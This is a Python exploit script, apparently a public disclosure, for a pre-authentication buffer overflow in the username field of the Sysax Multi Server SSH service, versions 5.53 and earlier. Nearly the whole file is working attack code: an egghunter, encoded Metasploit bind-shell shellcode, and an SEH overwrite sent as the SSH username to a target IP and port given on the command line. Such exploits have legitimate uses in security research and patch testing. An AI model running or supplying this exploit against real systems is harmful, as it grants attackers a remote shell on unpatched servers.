Sysax 5.53 – SSH ‘Username’ Remote Buffer Overflow Remote Code Execution (Egghunter)
#!/usr/bin/python ########################################################################################################## #Title: Sysax <= 5.53 SSH Username BoF Pre Auth RCE (Egghunter) #Author: Craig Freyman (@cd1zz) #OS Tested: XP SP3 32bit, 2003 Server SP2 (No DEP) #Software Versions Tested: 5.53, 5.52, 5.50 #Date Discovered: Febrary 22, 2012 #Vendor Contacted: Febrary 23, 2012 #Vendor Response: February 27, 2012 #Vendor Fix: Sysax 5.55 #Detailed Exploit Description:http://www.pwnag3.com/2012/02/sysax-multi-server-ssh-username-exploit.html ########################################################################################################## import paramiko,os,sys if len(sys.argv) != 3: print "[+] Usage: ./filename <Target IP> <Port>" sys.exit(1) host = sys.argv[1] port = int(sys.argv[2]) egghunter = ( "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05" "\x5a\x74\xef\xb8\x44\x4e\x57\x50\x8b\xfa\xaf\x75\xea\xaf" "\x75\xe7\xff\xe7") # msfpayload windows/shell_bind_tcp LPORT=4444 R | msfencode -e -e x86/alpha_mixed X shell = ("DNWPDNWP" "\x89\xe0\xda\xdf\xd9\x70\xf4\x5b\x53\x59\x49\x49\x49\x49" "\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" "\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" "\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" "\x42\x75\x4a\x49\x69\x6c\x68\x68\x6d\x59\x77\x70\x57\x70" "\x57\x70\x33\x50\x4f\x79\x39\x75\x70\x31\x7a\x72\x62\x44" "\x4c\x4b\x52\x72\x70\x30\x6e\x6b\x32\x72\x44\x4c\x4c\x4b" "\x36\x32\x74\x54\x6e\x6b\x71\x62\x34\x68\x64\x4f\x78\x37" "\x42\x6a\x76\x46\x54\x71\x39\x6f\x35\x61\x49\x50\x4e\x4c" "\x77\x4c\x61\x71\x31\x6c\x66\x62\x64\x6c\x75\x70\x39\x51" "\x58\x4f\x34\x4d\x66\x61\x4f\x37\x6b\x52\x6c\x30\x73\x62" "\x30\x57\x4c\x4b\x36\x32\x64\x50\x4c\x4b\x63\x72\x77\x4c" "\x57\x71\x7a\x70\x6e\x6b\x61\x50\x72\x58\x6f\x75\x79\x50" "\x61\x64\x50\x4a\x63\x31\x48\x50\x30\x50\x4c\x4b\x53\x78" "\x56\x78\x6e\x6b\x50\x58\x51\x30\x35\x51\x59\x43\x69\x73" "\x57\x4c\x73\x79\x4c\x4b\x47\x44\x6e\x6b\x47\x71\x79\x46" "\x44\x71\x4b\x4f\x35\x61\x79\x50\x6c\x6c\x39\x51\x5a\x6f" "\x76\x6d\x47\x71\x78\x47\x75\x68\x6b\x50\x33\x45\x39\x64" "\x64\x43\x73\x4d\x4c\x38\x37\x4b\x31\x6d\x45\x74\x64\x35" "\x39\x72\x32\x78\x4c\x4b\x30\x58\x45\x74\x47\x71\x48\x53" "\x50\x66\x4c\x4b\x36\x6c\x42\x6b\x4e\x6b\x56\x38\x75\x4c" "\x47\x71\x39\x43\x4e\x6b\x56\x64\x4e\x6b\x33\x31\x68\x50" "\x6b\x39\x70\x44\x76\x44\x77\x54\x43\x6b\x71\x4b\x35\x31" "\x36\x39\x30\x5a\x30\x51\x4b\x4f\x4d\x30\x70\x58\x31\x4f" "\x42\x7a\x4c\x4b\x55\x42\x6a\x4b\x4d\x56\x63\x6d\x70\x68" "\x50\x33\x36\x52\x45\x50\x67\x70\x70\x68\x31\x67\x31\x63" "\x45\x62\x71\x4f\x31\x44\x61\x78\x52\x6c\x62\x57\x51\x36" "\x53\x37\x59\x6f\x4b\x65\x6f\x48\x6e\x70\x56\x61\x67\x70" "\x77\x70\x76\x49\x68\x44\x43\x64\x50\x50\x73\x58\x45\x79" "\x6b\x30\x32\x4b\x65\x50\x49\x6f\x49\x45\x62\x70\x72\x70" "\x76\x30\x70\x50\x53\x70\x66\x30\x67\x30\x46\x30\x45\x38" "\x48\x6a\x36\x6f\x39\x4f\x59\x70\x39\x6f\x78\x55\x4e\x69" "\x49\x57\x36\x51\x6b\x6b\x52\x73\x50\x68\x56\x62\x77\x70" "\x66\x71\x31\x4c\x4f\x79\x6b\x56\x51\x7a\x36\x70\x72\x76" "\x32\x77\x65\x38\x4b\x72\x6b\x6b\x64\x77\x71\x77\x4b\x4f" "\x4e\x35\x50\x53\x56\x37\x73\x58\x6c\x77\x38\x69\x37\x48" "\x69\x6f\x39\x6f\x78\x55\x63\x63\x30\x53\x31\x47\x62\x48" "\x30\x74\x78\x6c\x57\x4b\x79\x71\x6b\x4f\x79\x45\x76\x37" "\x4c\x49\x6f\x37\x55\x38\x73\x45\x72\x4e\x50\x4d\x43\x51" "\x39\x6f\x59\x45\x73\x58\x42\x43\x50\x6d\x43\x54\x75\x50" "\x4d\x59\x59\x73\x70\x57\x30\x57\x73\x67\x36\x51\x38\x76" "\x51\x7a\x57\x62\x42\x79\x36\x36\x5a\x42\x6b\x4d\x31\x76" "\x49\x57\x61\x54\x47\x54\x37\x4c\x67\x71\x53\x31\x4c\x4d" "\x67\x34\x77\x54\x74\x50\x7a\x66\x37\x70\x51\x54\x52\x74" "\x52\x70\x71\x46\x70\x56\x43\x66\x32\x66\x50\x56\x42\x6e" "\x50\x56\x46\x36\x61\x43\x43\x66\x53\x58\x73\x49\x58\x4c" "\x37\x4f\x4d\x56\x4b\x4f\x78\x55\x6f\x79\x69\x70\x30\x4e" "\x50\x56\x51\x56\x39\x6f\x76\x50\x61\x78\x63\x38\x4e\x67" "\x67\x6d\x71\x70\x59\x6f\x49\x45\x6d\x6b\x68\x70\x4f\x45" "\x4e\x42\x62\x76\x72\x48\x4c\x66\x4e\x75\x6d\x6d\x6d\x4d" "\x6b\x4f\x6a\x75\x37\x4c\x63\x36\x63\x4c\x45\x5a\x6f\x70" "\x39\x6b\x39\x70\x52\x55\x37\x75\x6d\x6b\x63\x77\x75\x43" "\x74\x32\x72\x4f\x51\x7a\x77\x70\x50\x53\x69\x6f\x38\x55" "\x41\x41") padding1 = "\x90" * 50 padding2 = "\x90" * 50 nseh = "\x90\x90\xeb\x80" seh = "\x69\x26\x40\x00" #00402669 PPR sysaxservd.exe junk = "A" * (9204 - len(egghunter + padding1 + padding2 + shell)) buff = junk + shell + padding1 + egghunter + padding2 + nseh + seh print "============================================================================" print " Sysax <= 5.53 SSH Username BoF Pre Auth RCE " print " by cd1zz " print " www.pwnag3.com " print "============================================================================" try: transport = paramiko.Transport((host, port)) except: print "[X] Unable to connect to " + host + " on port " + str(port) sys.exit(1) transport = paramiko.Transport((host, port)) print "[+] Launching exploit against " + host + " on port " + str(port) print "[+] Done!" transport.connect(username = buff, password = "pwnag3") transport.close() |